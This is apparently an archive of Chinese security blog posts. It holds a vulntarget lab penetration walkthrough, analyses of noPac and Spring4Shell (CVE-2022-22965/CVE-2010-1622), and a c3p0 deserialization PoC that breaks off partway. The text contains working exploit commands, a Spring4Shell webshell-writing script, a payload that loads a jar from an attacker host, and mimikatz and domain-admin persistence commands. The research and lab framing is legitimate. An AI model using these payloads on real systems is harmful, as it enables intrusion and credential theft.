2022年4月

  • 环境搭建


    见参考文献1。

  • Centos7


    web 在 81 端口,直接 admin/admin123 进后台,后台下一个可以改代码的插件。
    image-20220414214149381
    首次使用,设置密码后可以直接修改后台文件,写个?进去。
    连上后发现 disable_functions ban 了很多函数(bt 默认的),用蚁剑自带的插件绕一下,拿到 shell 之后用 msf 传个?。
    之后可以用 sudo 的 CVE-2021-3156 提权
    image-20220414222053505
    image-20220414222216786
    在 msf 中已经集成在 exploit/linux/local/sudo_baron_samedit 中
    image-20220414223020025
    下一层 ip 是 10.0.20.0/24,用 Neo-reGeorg 挂个正向代理
  • Win10


    (这里 win10 的网卡改成了 10.0.10.140),访问 8080 的 web 端口,发现禅道 cms。直接 admin / Admin123 登进后台,版本 12.4.2,有洞,可以远程下载文件到主机。工具:https://github.com/wikiZ/Zentao-RCE
    但 win10 不出网,无法访问攻击机,但 centos 中是有 python 的,可以手动在 centos 上写?并下载。
    python -c 'import pty; pty.spawn("/bin/bash")' // 开启交互模式
    python -m SimpleHTTPServer 9998
    
    base64:HTTP://10.0.20.30:9998/shell.php
    
    http://10.0.20.140:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6OTk5OC9zaGVsbC5waHA=
    

    image-20220415162429823
    直接访问是 500,但可以用蚁剑链接,接着就可以传 msf 的?上去。
    tasklist 发现有火绒,需要做一下免杀,这里做个 uuid 免杀就行,具体操作看免杀初探那篇文章。
    (我应该不是最后一个知道添加路由后可以直接反弹跳板机的吧)
    run post/multi/manage/autoroute
    

    image-20220415204105527
    拿到的是一个 IIS 的低权限,尝试提权
    run post/multi/recon/local_exploit_suggester
    

    或者手动看缺少的补丁(想起来主机是 win10,大概没什么用了):
    systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    最后还是直接 getsystem 提权了(其实用到了 CVE-2021-34481,之后补分析)
    image-20220415210859390
  • Windows Server 2016


    win10 尝试抓密码(xs 根本抓不到)
    load kiwi
    creds_all
    

    操作可参考抓密码那篇文章 http://moonflower.fun/index.php/2022/03/01/291/
    这里用 mimikatz 的 ssp 临时注入,只要不重启,就会记录密码
     kiwi_cmd misc::memssp
    

    image-20220415214643951
    拿到账户密码之后尝试用 CVE-2021-42287/CVE-2021-42278 拿域控权限(分析之后补),没打补丁全版本都能打(靶机杀器)
    本地没有 .NET 环境,c# 版本的 exp 用不了,这里用 kali 挂两层代理打
    image-20220415225902049
    工具地址:https://github.com/Ridter/noPac
    msf 定位域控:
     run post/windows/gather/enum_domain
    

    exp 直接打(可能需要多打几次):
    proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell 
    

    image-20220416171146959
    做一下维权,创建一个域管账号:
    net user admin admin#123 /add /domain
    net group "Domain Admins" admin /add /domain
    

    修改防火墙策略,打开 3389 端口
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    用 PsExec 链接上:
    PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p admin#123 -s cmd.exe -accepteula
    
  • 参考文献


 

  • 环境搭建

将就 vulntarget-b 的 win10 和 server2016 了,打的时候也是用的这个洞。

  • 前置知识


    Kerberos 中的 PAC

    PAC (Privilege Attribute Certificate,特权属性证书) 用于 kerberos 协议中的权限认证,在基础的 kerberos 模型中没有对用户权限的判断,加入 PAC 后,在 KDC 返回的 TGT(AS_REP) 和 ST(TGS_REP) 中都包含 PAC。
    image-20220417125305326
    KDC 在收到 AS-REQ 之后,从请求中取出 cname 字段,然后查询活动目录数据库,找到 sAMAccountName 属性为 cname 字段的值的用户,用该用户的身份生成一个对应的 PAC。
    在 TGS_REQ & TGS_REP 请求 ST 的过程中,KDC 收到 TGT 后,用 krbtgt 密钥解密,取出 PAC 并验证签名(确保 PAC 未被篡改),然后将其直接 copy 到 ST 中,也就是说只要签名合法 PAC 不会改变,这里是没有对 PAC 的正确性做检查的。
    image-20220417135813340
    但在 S4u2Self&S4u2Proxy 请求中,ST 中的 PAC 是重新生成的。(!)
    而如果 TGT 中本身就没有 PAC 的话,KDC 在 copy PAC 的时候也会 copy 一个空的,那么 ST 中也就没有 PAC。
    PAC 的一些重要字段:
    - Acct Name:该字段对应的值是用户sAMAccountName属性的值
    - Full Name:该字段对应的值是用户displayName属性的值
    - User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分
    - Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)
    - Num RIDS:用户所属组的个数
    - GroupIDS:用户所属的所有组的RID
    

    S4u2Self 协议

    为了对委派机制中权限的进一步限制,Kerberos 协议扩展了两个自协议 S4U2Self(Service for User to Self)和 S4u2Proxy (Service for User to Proxy )。
    S4u2Self 可以代表任意用户请求针对自身的 ST 服务票据;S4u2Proxy 可以用上一步获得 ST 以用户的名义请求针对其它指定服务的 ST 。
    image-20220417133057879
    当 KDC 收到 TGS_REQ S4u2Self 协议后,首先验证客户端是否有权限发起 S4U2Self,然后根据 S4U2Self 中模拟的用户生成对应权限的 PAC,放在 ST 票据中(不会复用)
    跨域的 TGS

    当 TGT 中没有 PAC 的时候,如果是当前域的请求,则 ST 中也没有 PAC,如果是其它域的话,会重新生成一个 PAC。
  • 漏洞原理


    Windows 中机器账户的 username 一般以 $ 结尾。当请求服务 ST 的账户没有被 KDC 找到的时候,KDC 会自动在 username 尾部添加 $ 重新搜索。
    那么如果域控主机名为 moonflower $,而攻击者将机器账户的 sAMAccountName 更改为 moonflower。
    用户收到这个 TGT 之后,攻击者将机器名修改为其它机器名,然后用这个 TGT 向 TGS 请求 S4u2Self 服务(为了修改 PAC)。
    当 TGS 解密这个 TGT 后,获取到机器名:moonflower,也就是域控的主机名。有因为是 S4u2Self 服务,所有需要用主机名对应的密钥来加密 ST,而此时在 KDC 中已经搜索不到 moonflower 这个用户了,那么就会自动在 moonflower 后面添加一个 $,再次搜索,这时搜到了域控,接着就用域控的密钥加密了 S4u2Self 的 ST发给用户。最后用户拿着这个 ST 取访问域控,就获取了域控的控制权。
  • 手动复现


    具体流程:
    1.首先创建一个机器账户,可以使用 impacket 的 addcomputer.py 或是 powermad(addcomputer.py 是利用 SAMR 协议创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除)
    2.清除机器账户的 servicePrincipalName 属性
    3.将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带$
    4.为机器账户请求 TGT
    5.将机器账户的 sAMAccountName 更改为其他名字,不与步骤3重复即可
    6.通过 S4U2self 协议向 DC 请求 ST
    7.进行 DCsync Attack
    

    创建机器账户,工具:https://github.com/Kevin-Robertson/Powermad
    powershell Set-ExecutionPolicy Bypass -Scope Process 
    Import-Module .\Powermad.ps1
    添加机器用户,输入密码:
    New-MachineAccount -MachineAccount saulgoodman -Domain vulntarget.com -DomainController WIN-UH20PRD3EAO.vulntarget.com -Verbose
    验证结果:
    net group "domain computers" /domain
    

    image-20220417154401829
    然后用 powerview 清除 SPN 信息
    Set-DomainObject "CN=saulgoodman,CN=Computers,DC=vulntarget,DC=com" -Clear 'serviceprincipalname' -Verbose
    

    image-20220417155709155
    重新设置机器名称
    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "WIN-UH20PRD3EAO" -Attribute samaccountname -Verbose
    

    image-20220417155948641
    用 Rubeus 模拟发送请求:
    ./Rubeus.exe asktgt /user:WIN-UH20PRD3EAO /password:admin#123 /domian:vulntarget.com /dc:WIN-UH20PRD3EAO.vulntarget.com /nowrap
    

    image-20220417162254520
    改回原来的属性
    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
    

    获取 ST 票据
    ./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-UH20PRD3EAO.vulntarget.com" /dc:"WIN-UH20PRD3EAO.vulntarget.com" /ptt /ticket:前面生成的 ticket
    

    image-20220417215150300
     
  • 参考文献


文章首发奇安信攻防社区:https://forum.butian.net/share/1496

  • 环境搭建


    github 上拉了一个现成的 spring + tmcat 环境:https://github.com/winn-hu/interface。可以在其中添加实验用的 model 和 controller。
  • 漏洞成因


    这次的 CVE-2022-22965 其实是 CVE-2010-1622 的绕过,由参数绑定造成的变量覆盖漏洞,通过更改 tomcat 服务器的日志记录属性,触发 pipeline 机制实现任意文件写入。
  • SpringMVC 的参数绑定机制


    演示 demo:
    HelloController.java
    @Controller
    public class HelloController {
        @RequestMapping("/index")
        public String index(User user) {
            return user.toString();
        }
    }
    

    User.java
    package com.moonflower.model;
    
    import com.moonflower.model.info;
    
    public class User {
        public String name;
        public String age;
        public com.moonflower.model.info info;
    
        public User(String name, String age, com.moonflower.model.info info) {
            this.name = name;
            this.age = age;
            this.info = info;
            System.out.println("调用了User的有参构造");
        }
    
        public User() {
            System.out.println("调用了User的无参构造");
        }
    
        public String getName() {
            System.out.println("调用了User的getName");
            return name;
        }
    
        public void setName(String name) {
            System.out.println("调用了User的setName");
            this.name = name;
        }
    
        public com.moonflower.model.info getInfo() {
            System.out.println("调用了User的getInfo");
            return info;
        }
    
        public void setInfo(com.moonflower.model.info info) {
            System.out.println("调用了User的setInfo");
            this.info = info;
        }
    
        @Override
        public String toString() {
            return "User{" +
                    "name='" + name + '\'' +
                    ", info=" + info +
                    '}';
        }
    }
    

    info.java
    package com.moonflower.model;
    
    public class info {
        public String QQ;
        public String vx;
    
        public info(String QQ, String vx) {
            this.QQ = QQ;
            this.vx = vx;
            System.out.println("调用了info的有参构造");
        }
    
        public info() {
            System.out.println("调用了info的无参构造");
        }
    
        public String getQQ() {
            System.out.println("调用了info的getQQ");
            return QQ;
        }
    
        public void setQQ(String QQ) {
            System.out.println("调用了info的setQQ");
            this.QQ = QQ;
        }
    
        public String getVx() {
            System.out.println("调用了info的getvx");
            return vx;
        }
    
        public void setVx(String vx) {
            this.vx = vx;
            System.out.println("调用了info的setvx");
        }
    
    
        @Override
        public String toString() {
            return "info{" +
                    "QQ='" + QQ + '\'' +
                    ", vx='" + vx + '\'' +
                    '}';
        }
    }
    

    首先尝试访问 /index?name=moonflower&info.QQ=123&info.vx=13,在执行完 toString 之后,可以看到传入的 name 自动绑定到了 user.name 上,而 info.QQ 和 info.vx 也分别自动绑定到了 user.info.QQ 和 user.info.vx 上,这也表明了 SpringMVC 支持多层嵌套的参数绑定。
    image-20220408160500800
    再看一下输出的内容,能看出参数的绑定先 get 后 set,而对于多层嵌套绑定(info.QQ),则是依次调用了 User.getinfo -> info.getQQ -> info.setQQ
    image-20220408162537886
    执行参数绑定的函数可以跟进 ServletRequestDataBinder 类中
    image-20220408163212286
    继续跟进到 doBind 中,发现其又调用了父类的 doBind,
    image-20220408163241062
    image-20220408163400974
    在 applyPropertyValues 中添加参数的值
    image-20220408163515488
    首先调用 getPropertyAccessor 获取 BeanWrapperImpl,然后调用 setPropertyValues 赋值,在 setPropertyValues 中循环调用 setPropertyValue,为每一个 propertyname 赋值(图中已经是赋值完 QQ,开始赋值 vx)
    image-20220408170046471
    然后在 setPropertyValue 中持续跟进,一直到 getPropertyAccessorForPropertyPath,
    image-20220408170021270
    在 getPropertyAccessorForPropertyPath 中解析了即将绑定的参数(info.vx)
    image-20220408170347289
    再跟到 getPropertyValue 中
    image-20220408170736556
    在 getLocalPropertyHandler 中,BeanWrapperImpl 的方法拿到了 info 类
    image-20220408170858986
    继续跟到 setDefaultValue,而 setDefaultValue 又会调用 createDefaultPropertyValue 中
    image-20220408172707060
    在 createDefaultPropertyValue 的 newValue 中可以看到反射构造
    image-20220408172906444
    image-20220408173031786
    这时看一下 output,发现已经打印了调用 info 的无参构造
    image-20220408173111390
    回到 setDefaultValue 中,接着调用里 setPropertyValue 方法,
    image-20220408181529234
    继续跟进到解析对应的参数,而这里解析到的是一个 info 类,
    image-20220408182015937
    就像刚开始说的那样,在当前要绑定的参数 (info) 无法直接赋值的时候,会进行多层嵌套的参数绑定,可以看到程序又会回到 getPropertyAccessorForPropertyPath 中,而且参数从 info.QQ 变成了 QQ,然后继续跟进,就可以看到给对应属性(QQ)的赋值操作
    image-20220408184045968
    在后续的 getValue 函数中,通过反射的方法调用了对应的 get 方法(getQQ),
    image-20220408184639669
    继续向下跟进到 setValue 中,同样也是用反射调用了对应的 set 方法,此时 output 中出现对应打印内容。
    image-20220408184751205
    大致流程(图来自 rui0 师傅)
    image-20220408204309017
  • 关于 JavaBean


    在上面的例子中声明的类(User, info)都是 JavaBean,一种特殊的类。主要用于传递数据信息,要求方法符合某种命名规则,在这些 bean 中通常只有信息字段和存储方法,没有功能性方法。
    对于 JavaBean 中的私有属性,可以通过 getter/setter 方法来访问/设置,在 jdk 中提供了一套 api 来访问某个属性的 getter/setter 方法,也就是内省。
    BeanInfo getBeanInfo(Class beanClass)
    BeanInfo getBeanInfo(Class beanClass, Class stopClass)
    

    在获得 BeanInfo 后,可以通过 PropertyDescriptors 类获取符合 JavaBean 规范的对象属性和 getter/setter 方法。
    (如果用 IDEA 调过前面参数绑定的过程,就会发现在 Spring 中对 JavaBean 的操作不是用 getBeanInfo(太麻烦了),而是用 BeanWrapperImpl 这个类的各种方法来操作。BeanWrapperImpl 类是 BeanWrapper 接口的默认实现,可以看作前面提到的 PropertyDescriptor 的封装,BeanWrapperImpl 对 Bean 的属性访问和设置最终调用的是 PropertyDescriptor。)
    demo:
    public class demo {
        public static void main(String[] args) throws Exception {
            BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
            PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
            for (PropertyDescriptor pd : descriptors) {
                System.out.println("Property: " + pd.getName());
            }
        }
    }
    

    程序跑起来的时候可以发现,User 的属性(name,info)及其方法都在 PropertyDescriptor 中可以拿到,
    image-20220408203023229
    但除此之外,还能拿到一个 Class 类,而且自带一个 getClass 方法。
    image-20220408203417114
    这里是因为没有使用 stopClass,访问该类的时候访问到了 Object.class,而内省机制的判定规则是,只要由 getter/setter 方法中的一个,就会认为存在一个对应的属性,而碰巧的是,Java 中的所有对象都会默认继承 Object 类,同时它也存在一个 getClass 方法,这样就解析到了 class 属性。
    如果直接调用:
    Introspector.getBeanInfo(Class.class)
    

    可以获取更多信息,包括关键的 classLoader。
    image-20220409104105332
  • CVE-2010-1622


    首先分析一下变量覆盖的问题,是在参数绑定的时候发生的,
    demo:
    public class UserInfo {
        private String id;
        private String number;
        private User user = new User();
        private String names[] = new String[]{"moonflower"};
    
        public String getId() {
            return id;
        }
        public String getNumber() {
            return number;
        }
        public void setId(String id) {
            this.id = id;
        }
        public User getUser() {
            return user;
        }
        public String[] getNames() {
            return names;
        }
    }
    

    设置 test 路由:
        @RequestMapping(value = "/test", method = RequestMethod.GET)
        public void test(UserInfo userInfo) {
            System.out.println("id:"+userInfo.getId());
            System.out.println("number:"+userInfo.getNumber());
            System.out.println("class:"+userInfo.getClass());
            System.out.println("user.name:"+userInfo.getUser().getName());
            System.out.println("names[0]:"+ userInfo.getNames()[0]);
            System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
        }
    

    然后访问(注意[]要编码):
    /test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=moonflower&names[0]=33333
    

    对照一下输出的内容:
    image-20220408220253963
    Id 和 name 有 get 和 set 方法,可以正常获取;number 为空,因为没有 set 方法;class 和 classLoader 也都没有 set 方法所有赋值失败。但出乎意料的是 names 没有 get 方法但赋值成功了(33333),这时需要打个断点调一下了。
    前半部分的和前面调试参数绑定的流程相同,直到跟到 getLocalPropertyHandler 中,跟进看看内部的具体实现。
    image-20220408221939906
    这里最后调用的是 CachedIntrospectionResults.getPropertyDescriptor 这个方法(最后发现图贴错了,重新补了一张,name 换了但不是重点)
    image-20220409205948940
    在其中循环调用 buildGenericTypeAwarePropertyDescriptor,查找每个属性的 getter 和 setter,
    image-20220409103442420
    image-20220409103606480
    按照之前调试的流程,一直跟进到 setPropertyValue,参数的绑定在这里面完成
    image-20220409100130081
    在前面的 CachedIntrospectionResults.getPropertyDescriptor 中拿到了这个属性的 getter 和 setter,本应该判断是否有 setter 方法(isWriteable),然后进行参数的绑定,
    image-20220409101109119
    但是在验证 isWriteable 之前,会先判断是不是数组类型,如果是的话就直接调用 Array.set 在底层赋值。
    image-20220409101236379
    目前可公开的情报:
    1.SpringMVC 支持嵌套的参数绑定
    2.JavaBean 底层实现的时候能访问到 Object.class
    3.class 这个属性存在对应的 getter 
    4.可以在没有 setter 的情况下可以修改数组变量的值
    

    在 tomcat 中的 WebappLoader 类继承了 URLClassLoader ,URLClassLoader 有一个方法 getURLs,可以返回一个数组。而 getURLs 方法在 TldLocationsCache 类(处理页面的 tld 标签库)中被调用,可以从 URL 数组中指定的目录去获取 tld 文件(运行远程获取)。
    结合以上信息,在 CVE-2010-1622 中,攻击者可以控制 class.classLoader.URLs[],提交参数:
    class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
    

    接着在渲染 jsp 页面的时候,Spring 会通过 Jasper 中的 TldLocationsCache 类从 WebappClassLoader 中读取 url 参数并用来解析 TLD 文件,其中 spring-exploit.jar里面包含修改后的 spring-form.tld,而解析 tld 的过程中允许使用 jsp 语法,那么恶意的 spring-form.tld 可以在原 /META-INF/spring-form.tld 中替换 input tag:
    <!-- <form:input/> tag -->
        <tag-file>
        <name>input</name>
        <path>/META-INF/tags/InputTag.tag</path>
      </tag-file>
    

    (input tag 会根据开发人员的定义,给参数默认赋值)
    这样就指定了一个 tag 文件解析。同样,恶意的的 tag 文件也可以放在构造的 spring-exploit.jar 中
    <%@ tag dynamic-attributes="dynattrs" %>
    <%
     j java.lang.Runtime.getRuntime().exec("calc"); 
    %>
    

    经过这样的替换后,当开发者在 controller 中将任何一个对象绑定表单(一般的 web 应用中都会由),那么就可以通过构造 payload:
    ?class.classLoader.URLs[0]=jar:http://vsp/spring-exploit.jar!/
    

    实现远程命令执行。
    除此之外,需要是该应用启动后第一次的 jsp 页面请求即第一次渲染进行TldLocationsCache.init 才可以,否则无法将修改的 URLs 内容装载,也就无法加载我们恶意的 tld。
    漏洞修复:

    虽然是 spring 的漏洞,但 tomcat 也做了对应的修复,在 tomcat6.0.28 之后的版本把 getURLs 方法返回的值改成了 clone
    6.0.28:
    public URL[] getURLs() {
            if (repositoryURLs != null) {
                return repositoryURLs;
    }
    

    之后:
    public URL[] getURLs() {
            if (repositoryURLs != null) {
                return repositoryURLs.clone();
    }
    

    至于 spring 的修复其实在之前 debug 的过程中已经能看到了,本地用的是 4.3.5 版本,在查找属性的 getter 和 setter 的时候,对 classLoader 进行了过滤。
    image-20220409103442420
  • CVE-2022-22965


    在漏洞利用的前提中有一条有其重要,就是要使 jdk9+ 的版本(本地用 jdk11 进行调试),原因是在 java9 添加了 module 模块,而 CVE-2022-22965 就是利用了这个模块实现了 CVE-2010-1622 的绕过,但与其说是绕过,更不如说是攻击方式的拓展。
    前面提到过,getBeanInfo 能获得属性的原因是有对应的 getter,在 jdk9 以后的 java.lang.Class 中,发现 getModule 方法,
    image-20220409175251746
    在 jdk9+ 的 Class.class 中也可以看到:
    image-20220409175445837
    而在这个 module 类中,也存在一个 ClassLoader 类型的属性,并且存在对应的 getter ,
    image-20220409175554892
    image-20220409175650593
    那么现在 spring 过滤 classLoader 的修复已经是被绕过了,但在 tomcat6.0.28 之后因为 getUrls 的修复,之前的利用方式也无法使用。而在这个漏洞中 getshell 的方式和之前 Apache Struts 曾经曝出过的远程代码执行(CVE-2014-0094)相似,通过修改 Tomcat 的日志设置(通过AccessLogValve)来写入恶意文件。
    到 CVE-2014-0094 在 msf 中已经集成,看一下 poc,
    image-20220409181314079
    对应 http 报文填充的内容:
    image-20220409181405577
    不过后续是直接将 ?dump 进去
    image-20220409192648824
    image-20220409192735003
    看一下 CVE-2022-22965 的 poc,这里利用了 pattern 来写?
    
        headers = {"suffix":"%>//",
                    "c1":"Runtime",
                    "c2":"<%",
                    "DNT":"1",
                    "Content-Type":"application/x-www-form-urlencoded"
    
        }
        data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
        try:
    
            requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
            shellurl = urljoin(url, 'tomcatwar.jsp')
            shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
            if shellgo.status_code == 200:
                print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
        except Exception as e:
            print(e)
            pass
    

    其中将 url 解码后,看一下每个参数的赋值:
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
    
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
    
    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
    
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    看一下每个参数在 tomcat 中对应的定义:
    directory将放置此 Valve 创建的日志文件的目录的绝对或相对路径名。如果指定了相对路径,则将其解释为相对于 $CATALINA_BASE。如果未指定目录属性,则默认值为“logs”(相对于 $CATALINA_BASE)。
    prefix添加到每个日志文件名称开头的前缀。如果未指定,默认值为“access_log”。
    suffix添加到每个日志文件名称末尾的后缀。如果未指定,则默认值为“”(长度为零的字符串),表示不会添加后缀。
    fileDateFormat允许在访问日志文件名中自定义时间戳。每当格式化的时间戳更改时,文件就会轮换(rotated)。默认值为.yyyy-MM-dd。如果您希望每小时轮换一次,则将此值设置为.yyyy-MM-dd.HH。日期格式将始终使用 locale 进行本地化en_US
    pattern一种格式布局,用于标识要记录的请求和响应中的各种信息字段,或者选择标准格式的 common单词combined。有关配置此属性的更多信息,请参见下文。

    下面就是通过 debug 分析一下 poc 成功执行的原因了,先打一发 payload 过去,重点看 setPropertyValue 的过程
    image-20220409204523881
    在 getPropertyAccessorForPropertyPath 中迭代解析参数
    image-20220409204937216
    重点看每次反射获取方法时调用的 class,module 前面的之前已经调过了:
    classLoader:
    image-20220409212134080
    resources:(注意这里已经开始修改 tomcat 中的属性了)
    image-20220409212227656
    context:(这里是一个 StandardContext 的上下文)
    image-20220409212339732
    image-20220409221731986
    而 StandardContext 类继承自 ContainerBase,payload 中通过 parent 获得:
    image-20220409221922360
    到现在为止,能做到覆盖 ContainerBase 的属性了,payload 中选择了 pipeline 属性,
    image-20220409222202948
    接着是 first,first 变量是一个 Valve 类型的接口,也就是说这里能修改继承这个接口的类中的属性,
    image-20220409222528400
    最后修改了 AccessLogValve 这个类中的属性。
    image-20220409222945610
    AccessLogValve 用来记录访问日志 access_log。Tomcat 的 server.xml 中默认配置了 AccessLogValve,所有部署在 Tomcat 中的 Web 应用均会执行该 Valve。对照前面 tomcat 对其中属性的定义,已经可以控制日志后缀名,文件名称,存放位置等属性。(在 server.xml 中定义)
    image-20220409223937023
    本来 log 内容以 pattern 的格式填充,而 payload 中直接进行了覆盖,从而写进去了?。
    还有一个问题就是为什么要加一个 fileDateFormat,目的是触发 tomcat 切换日志。看一下 AccessLogValve 的 rotatable 属性。
    image-20220409225312259
    用于确定是否应发生日志轮换的标志。如果设置为 false,则永远不会轮转此文件并忽略 fileDateFormat。默认值:true
    

    意思就是说,当这个值为 true 的时候,tomcat 会根据时间的变换而自动生成新的文件,避免所有的日志从 tomcat 运行开始都写在一个文件中。如下:
    image-20220409225714380
    再看一下执行这个过程的代码实现:
    image-20220409225856012
    其中 fileDateFormat 的初始化:
    image-20220409230028127
    那么如果在程序运行时把 fileDateFormat 改为空,就会导致 toDate 为空,进入 if 语句并打开新的 log 文件。
    跟进一下 open 的实现流程,也能和前面传入的属性对应。
    image-20220409230426709
    到现在已经实现了任意文件的写入,但是要写?的话还是有些问题要解决。
    在 tomcat 的比较新的版本中,无法在 URL 中携带 <{ 等特殊字符,但在 AccessLogValve 的输出方式支持 Apache HTTP Server日志配置语法模型,可以通过占位符写入特殊字符。
    %{xxx}i 请求headers的信息
    %{xxx}o 响应headers的信息
    %{xxx}c 请求cookie的信息
    %{xxx}r xxx是ServletRequest的一个属性
    %{xxx}s xxx是HttpSession的一个属性
    
  • 漏洞复现


    github 上拉一个:https://github.com/fengguangbin/spring-rce-war
    把 stupidRumor_war.war 放到 tomcat 的 webapps 中,试一下任意文件写入:
    class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=D%3A%5Cenvironment%5Capache-tomcat%5Capache-tomcat-8.5.73%5Cwebapps%5Ctmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    image-20220409233845110
    但是这个 payload 还是存在一些问题,首先是初次写入后无法修改写入文件的位置,然后就是每次访问都会向?中添加内容(图中的两个 success)。
    根据我们前面的分析,出现这种情况的原因是没有触发 rotata,因为两次传入的 fileDateFormat 都为空,equal 的时候自然就会相等,从而无法生成新的日志。
    解决方法就是如果要修改?的位置,让 fileDateFormat 和上次不一样就行,可以通过 "fileDateFormat + prefix".jsp 的格式拼接出文件名。
    而对于重复添加内容,可以在 webshell 末尾添加 <!-- 把后面的内容注释掉。
  • 利用限制


    • JDK9 或以上版本系列(存在 module 属性)
    • Spring 框架或衍生的 SpringBoot 等框架,版本小于 v5.3.18 或 v5.2.20(支持参数绑定机制)
    • Spring JavaBean 表单参数绑定需要满足一定条件
    • 以 war 包的形式部署在 Tomcat 容器中,且日志记录功能开启(默认状态)

    漏洞利用的关键点是利用 module 属性加载 org.apache.catalina.loader.ParallelWebappClassLoader 这个 classLoader,image-20220408220253963
    将利用链的挖掘转移到了 tomcat 中,再通过修改其中的一系列属性 getshell。
    但如果 web 应用是以 jar 包的形式部署(比较常见),那么 classLoader 就会被解析成 org.springframework.boot.loader.LaunchedURLClassLoader,无法继续利用 tomcat 的属性。
  • 补丁分析


    Spring(5.3.18):
    image-20220410001554413
    直接用白名单,对于 class 只能获取以 name 结尾的属性,比起之前的黑名单算是修的比较彻底了。
    Tomcat(9.0.62):
    image-20220410001802378
    十分彻底 ,getResouces 直接返回 null,后续的链就都断了。
  • 参考文献


  • c3p0


    C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能。目前使用它的开源项目有hibernate,spring等。是一个成熟的、高并发的JDBC连接池库,用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。
  • http base


    触发点是 PoolBackedDataSourceBase 中的 readObject 方法,在其中调用了 getObject 方法
    image-20220418093523078
    跟进 getObject,其中又调用了 referenceToObject 方法(之前也是有 lookup,但 contextName 不可控,所以这里不能 jndi 注入)
    image-20220418093903696
    继续跟进 referenceToObject 方法,发现这里可以直接远程加载 class,对应的参数是 Reference 中的 classFactory classFactoryLocation 属性,最后从 classFactoryLocation 中加载 classFactory 类
    image-20220418094038188
    看一下 poc 是怎么写的:
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    import com.mchange.v2.naming.ReferenceIndirector;
    
    import javax.naming.Name;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import javax.naming.Referenceable;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.rmi.Naming;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.logging.Logger;
    
    public class c3p0SerDemo {
        public static void main(String[] args) throws Exception{
            PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
            Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
            Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
            f1.setAccessible(true);
            f1.set(a,new evil());
    
            ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser.writeObject(a);
            ser.close();
            ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
            unser.readObject();
            unser.close();
        }
    
        public static class evil implements ConnectionPoolDataSource, Referenceable {
